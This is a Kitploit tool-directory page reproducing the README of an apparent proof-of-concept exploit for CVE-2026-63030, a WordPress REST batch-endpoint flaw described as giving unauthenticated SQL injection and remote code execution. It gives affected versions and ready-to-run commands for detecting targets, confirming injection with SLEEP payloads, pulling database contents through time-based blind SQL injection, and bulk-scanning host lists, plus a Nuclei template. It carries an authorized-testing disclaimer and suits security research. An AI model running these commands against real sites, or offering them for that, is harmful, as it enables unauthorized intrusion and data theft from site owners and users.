Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-63030 — Proof-of-concept exploit for CVE-2026-63030 vulnerability, demonstrating exploitation techniques for security research and testing. | Kitploit
أدوات/GitHubGitHub/0xh7ml/cve-2026-63030
Vulnerability AnalysisExploitationPenetration Testing
GitHub0xh7ml/cve-2026-63030

CVE-2026-63030

Proof-of-concept exploit for CVE-2026-63030 vulnerability, demonstrating exploitation techniques for security research and testing.

عرض المستودع
12منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2026-63030 — WordPress wp2shell Exploit

Unauthenticated detection and exploitation tool for the WordPress core batch-confusion vulnerability (CVE-2026-63030 / CVE-2026-60137), which leads to SQL injection and remote code execution (RCE) through the REST API batch endpoint.

⚠️ For authorized security testing and educational purposes only. See the Disclaimer below.


Overview

Affected WordPress versions expose the REST API batch endpoint at:

  • POST /wp-json/batch/v1, or
  • POST /?rest_route=/batch/v1 (fallback when pretty-permalinks / wp-json is disabled)

Through a batch confusion flaw, nested sub-requests inside a batch body are processed without proper authorization, allowing an unauthenticated attacker to inject SQL (e.g. via the author_exclude parameter) and ultimately achieve RCE.

This repository provides:

FilePurpose
cve-2026-63030.pyPython CLI — version detection, batch-endpoint resolution, SLEEP-based blind SQLi confirmation, and --query data extraction. Supports bulk scanning, threads, and proxies.
cve-2026-63030.yamlNuclei template — passive version check + active time-based SQLi detection across both endpoint variants.

Affected Versions

BranchAffected Range
6.8.x6.8.0 – 6.8.5
6.9.x6.9.0 – 6.9.4
7.0.x7.0.0 – 7.0.1

Patched in 6.8.6, 6.9.5, and 7.0.2.

Requirements

  • Python 3.8+
  • requests
  • beautifulsoup4
root@kitploit:~
pip install requests beautifulsoup4

Usage

root@kitploit:~
python3 cve-2026-63030.py [options]

Options

FlagDescription
-u, --url URLSingle target URL.
-l, --list FILEFile of target URLs (one per line; # comments allowed) for bulk scanning.
-p, --proxy URLRoute requests through a proxy (e.g. http://127.0.0.1:8080).
-t, --threads NConcurrency for bulk mode (default 10).
-q, --query SQLSQL to exfiltrate via time-based blind injection, e.g. "select @@version".
--exploitFire the SLEEP payload to confirm exploitation.
--delay SECSLEEP window for blind SQLi (default 2).
--timeout SECPer-request timeout (default 10).
--silentSuppress the banner.

-u/--url and -l/--list are mutually exclusive.

Examples

root@kitploit:~
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/

# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080

# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5

# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"

# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"

How it works

  1. Version detection — parses the <meta name="generator"> tag and checks it against the affected ranges.
  2. Endpoint resolution — tries /wp-json/batch/v1 first, falling back to /?rest_route=/batch/v1 only if the first doesn't answer.
  3. Confirmation — --exploit sends a SLEEP(n) payload and verifies the response actually stalls (duration >= delay).
  4. Extraction — --query exfiltrates a result one character at a time via binary search (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).

Nuclei Template

root@kitploit:~
# Validate
nuclei -tl -t cve-2026-63030.yaml

# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/

The template probes both endpoint variants and confirms time-based SQLi via duration >= 5, gated on an affected WordPress version.

Disclaimer

This project is provided strictly for educational purposes and authorized security testing. You may only use it against systems you own or for which you have explicit, written permission to test (e.g. a penetration-test scope, bug-bounty program, or CTF).

Unauthorized scanning or exploitation of systems you do not own or are not authorized to test is illegal and may constitute a criminal offense under computer-misuse laws (e.g. the CFAA in the US, the Computer Misuse Act in the UK, and equivalent statutes elsewhere).

The authors and contributors assume no liability and accept no responsibility for any damage, data loss, or legal consequences arising from the use or misuse of this software. By using this tool you represent that your use is lawful and that you assume all associated risk.

When in doubt, do not run it.

References

  • WordPress Security Advisory — GHSA-ff9f-jf42-662q
  • WordPress 7.0.2 Release Notes
  • WPScan
  • SCLyber — wp2shell research

Author

0xh7ml — provided as-is, for defensive research and education.

تنزيل الأداة